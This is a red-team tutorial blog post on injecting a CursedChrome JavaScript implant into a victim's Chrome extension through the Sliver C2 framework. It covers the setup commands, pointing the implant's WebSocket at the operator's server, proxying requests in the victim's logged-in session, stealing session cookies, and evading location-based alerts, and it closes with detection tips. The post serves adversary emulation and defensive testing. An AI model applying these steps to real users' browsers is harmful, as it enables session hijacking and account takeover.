Sliver and Cursed Chrome for Post Exploitation
Tags: security, redteam, hacking
Published: 2023-10-07 15:38:50

---
title: Sliver and Cursed Chrome for Post Exploitation
published: true
description: Cursed Chrome is a post exploitation tool in the Sliver C2 framework
tags: security, redteam, hacking
cover_image: https://dev-to-uploads.s3.amazonaws.com/uploads/articles/20uopxgaei4bbcn74t8x.jpg
# Use a ratio of 100:42 for best results.
# published_at: 2023-10-07 11:29 +0000
---

This blog guides you through using Cursed Chrome within Sliver to more effectively perform adversary emulation tests. We will be covering how to inject a CursedChrome payload into a victim's browser using sliver, allowing an adversary to proxy requests through CursedChrome through the victim's browser in the victim's authenticated context 

![Image description](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/ysc6qgfqc7aq2kv2gcc1.jpg)

I'm going to skip over a lot of detail here on what sliver can do and how to do all the setup of sliver because that isn't the goal of this post.

## What's a Sliver?
Sliver is an exciting (and free) Adversary Emulation Command and Control (C2) framework released by the folks at BishopFox. In their words it's a:

> ...system made for penetration testers, red teams, and blue teams. It generates implants that can run on virtually every architecture out there, and securely manage these connections through a central server. Sliver supports multiple callback protocols including DNS, Mutual TLS (mTLS), WireGuard, and HTTP(S) to make egress simple, even when those pesky blue teams block your domains. You can even have multiple operators (players) simultaneously commanding your sliver army.

I use it at my organization to emulate how the bad guys do what they do and find out how good our tools and processes are at detecting them. 

## Setup
Since this blog isn't aimed at introducing you to Sliver, I'm going to brush over a lot of details. To start out you should have:

* A server running sliver ([link](https://github.com/BishopFox/sliver#linux-one-liner))
* An operator machine setup to talk to the c2 server ([link](https://github.com/BishopFox/sliver/wiki/Multiplayer-Mode))
* A windows machine with Chrome installed, with a sliver implant running on it ([link](https://github.com/BishopFox/sliver/wiki/Getting-Started))
* A chrome extension with appropriate all-page permissions installed
    * uBlock Origin is a good candidate
    * We'll go over the 'why' of this in a later section

I know this is a lot but we're talking about post-exploitation today and not exploitation. 

## Setup CursedChrome
Most of the setup instructions are borrowed directly from the CursedChrome repository [here](https://github.com/mandatoryprogrammer/CursedChrome).

You can setup CuredChrome one of two places. 1) on the same server running the sliver C2, or 2) on a separate server. I decided to run it on the same server running C2.

The first step to installing CursedChrome is to make sure you have a working `docker` installed with `docker-compose`. In my testing podman worked just fine.

Next clone CursedChrome into a folder on your server. 

```
git clone git@github.com:mandatoryprogrammer/CursedChrome.git \
  && cd CursedChrome
```

Since we're going to run this server on the open (dirty) internet, we're going to make a small change to the `docker-compose.yaml` file before we build and turn anything on. We're going to want to modify the block:

```yaml
    ports:
      - "127.0.0.1:8080:8080" # Proxy server
      - "127.0.0.1:4343:4343" # WebSocket server (talks with implants)
      - "127.0.0.1:8118:8118" # Web panel
```

To look like:

```yaml
    ports:
      - "8080:8080" # Proxy server
      - "4343:4343" # WebSocket server (talks with implants)
      - "8118:8118" # Web panel
```

Now we can stand up the server making sure we grab the `admin` credentials that are written out to the console as we start it.

```shell
docker-compose up -d redis db
docker-compose up cursedchrome
```

Now log in to your CursedChrome server on `http://<serverip>:8118` using the credentials spit out to the console when you started `cursedchrome`

**Note**: plaintext http is bad, okay? Put this behind a reverse proxy with TLS if you're doing it for realsies in an uncontrolled environment

## Setup the CursedChrome Implant
Now we need to setup the javascript that Sliver is going to inject into the victim's browser extension. This implant is what will proxy the requests from the operator and the CursedChrome server through the browser and out to the network. 

The source is here: [link](https://github.com/mandatoryprogrammer/CursedChrome/blob/master/extension/src/bg/background.js). We want to make sure we modify this line to point at our CursedChrome server and not at localhost:

```javascript
websocket = new WebSocket("ws://127.0.0.1:4343");
```
(source: https://github.com/mandatoryprogrammer/CursedChrome/blob/master/extension/src/bg/background.js#L301)

With that line modified we should take `background.js` and minify it, creating `min.js` in a location accessible by our operator running a sliver client. A pre-minified `background.js` can be found here (but you'll still need to change the IP): [link](https://gist.github.com/LivingInSyn/9150c00bf07912c1b165494d5ec36370)

## Inject min.js
For this step you should be in sliver with our exploited machine (the victim) ready to receive commands.

We're ready to inject our payload by running:

```
cursed chrome -p min.js
```

**Important**: Sliver is about to warn you about this but you should be aware that this is going to restart the users active chrome window. 

![Image description](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/l2og7315x1bfxgxjpszp.png)

Assuming this succeeded, we're ready to move on to the next step, proxying requests through our implant.

### This failed :(
![Image description](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/wcvgog4vx2uf9bwwwcd8.png)

If you're using this on a pentest, you may have hit a snag. The victim may not have an extension installed that Sliver can use to inject the payload into. This is either because they have no extensions installed or because they don't have an extension installed which can make requests on all pages. Fear not, because you can use the other CursedChrome commands detailed here: [link](https://github.com/BishopFox/sliver/wiki/Cursed) to still do fun stuff, just a little bit less stealthily.

For example, you can still run `cursed cookies` or `cursed console` to grab the session cookies for a user and then inject them in `burp` to steal the users session and port forward via sliver to avoid looking like you're coming from a remote location and triggering those pesky IP location or impossible travel alerts.


## Using our Implant
We should now see a new implant running in our CursedChrome console:

![Image description](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/u6nntxsgpt52hi82x5ye.png)

Now it's time to use it and [FoxyProxy](https://getfoxyproxy.org/) is probably the easiest way to do that. Grab the username and password from the CusrsedChrome console and head into FoxyProxy to setup a new proxy server that looks like this:

![Image description](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/4hgrfprq3v19kfpidldm.png)

Note that we've change port 8118 for port 8080 because the proxy server runs on port 8080. Save the configuration.

![Image description](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/h6yv7kwnv0xm2lsmqevp.png)

Now open up a new tab and activate our configured proxy server:

![Image description](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/0el2gbw58hz9xmok3dv3.png)

Now start making some requests! We are making requests through the implant in the security context of the user. For example, I used my `dev.to` account as a sample target:

![Image description](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/cscx43n0gtq41uwfcjg3.png)

I could now create new posts like 'Jeremy doesn't like cats' or other such embarrassing and entirely untrue statements.

## Detection and Prevention
I'd be a really bad blue-teamer if I didn't cover this section. There are a few options for detecting and monitoring for this:

* You can use chrome policies to limit what URLs certain extensions can use: https://thehackerblog.com/galvanizer/
* For the first point to be effective, you'll need to control extension installs at your org
    * in chrome, and edge, and other chromium based browsers
* You should be able to detect a new listening debug port in Chrome. Most users won't ever do this so it should be a high fidelity alert
    * look for `--remote-debugging-port=` arguments in Chrome
* You should be able to detect sliver and its c2 comms
* You should alert on suspicious behaviors on the systems targeted by the attackers